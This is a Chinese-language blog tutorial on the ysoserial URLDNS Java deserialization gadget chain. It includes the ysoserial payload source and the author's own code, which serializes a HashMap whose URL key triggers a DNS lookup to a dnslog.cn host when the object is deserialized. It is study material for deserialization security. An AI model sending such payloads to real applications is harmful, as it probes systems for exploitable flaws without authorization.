Loading

ysoserial之URLDNS

URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); 
                URL u = new URL(null, url, handler); 
                ht.put(u, url); 

                Reflections.setFieldValue(u, "hashCode", -1); 

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

上面比较抽象,在这里,我自己写一些代码,来解释URLDNS:

条件

由于反序列化时,需要调用的是readObject()方法,而开发者经常自己会重写readObject()方法。

首先,要满足反序列化攻击,需要满足的几个条件:

  1. 共同条件:实现Serializable 接口,即:可以序列化的
  2. 入口类(source):重写readObject方法,而且最好在重写的readObject方法里面还调用一个常见的函数(hashCode函数,toString函数等),
  3. 参数类型宽泛,最好jdk自带的,比如Map接口,HashMap类,HashTable;

以HashMap为例

  1. 首先可以序列化,因为实现Serializable 接口

  1. 参数类型宽泛,因为HashMap接受的类型是Object
  2. 而且jdk自带
  3. 重写readObject方法

为什么HashMap类要重写readObject方法呢?因为HashMap需要保证键(key)的唯一性,所以需要计算键(key)的hashCode,如下图:发现调用了hash函数

继续跟上去,发现hash函数接受一个Object类型的key,如果不为空的话,就会调用key的hashCode()函数来计算hashCode()

即:HashMapreadObject()

HashMapputVal()

HashMaphash(key)

HashMaphashCode() : key.hashCode()

调用链(gadget chain)

一般是利用相同名称,相同类型

由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),而如果我们传入的key是一个java.net.URL对象呢?我们看看看URL类的hashCode方法:

上面发现首先自定义了一个hashCode变量,然后判断hashCode值,如果值不等于-1,那么直接返回hashCode值,否则再执行handler.hashCode()方法,接着跟下去:

发现handler的hashCode() 方法,会执行getHostAddress() 方法,接着跟着getHostAddress()走:

getByName()方法的作用是根据域名获取其ip,其实就是一次DNS查询。

即:

URL.hashCode

handler.hashCode()

getHostAddress()

getByName()

知道了整个逻辑,写如下代码

有几点要注意:

1,为什么要使用反射修改hashCode的值呢?

答:因为如果hashCode的值不等于-1,就不会执行hashCode()方法了,由于HashMap在put的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。

package io.ser2;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        System.out.println("序列化中===========");
        URL url = new URL("http://wo3i7l.dnslog.cn");
        //通过反射设置URL对象的hashCode值
        Class<?> clazz = Class.forName("java.net.URL");
        Field hashField = clazz.getDeclaredField("hashCode");
        hashField.setAccessible(true);
        //这里hashCode不能设置为-1,因为不是-1就不会调用hashCode()方法了。而在下面设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
        hashField.set(url,123);
        //定义一个HashMap
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        //初始化一个URL对象,作为key放在hashmap的key中
        hashmap.put(url,1);
        //在这里设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
        hashField.set(url,-1);
        serialize(hashmap);
        System.out.println("序列化完毕==========");
    }

    private static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(o);
        oos.close();
    }

}
package io.ser2;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeSerializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("反序列化中=========");
        deserialize();

    }

    public static Object deserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
        Object o = ois.readObject();
        ois.close();
        return o;
    }

}

此时看urldns源码

总结一下

URLDNS的利用链如下,这里直接引用p牛的,p牛牛p

posted @ 2024-12-25 10:38  yingzui  阅读(61)  评论(0)    收藏  举报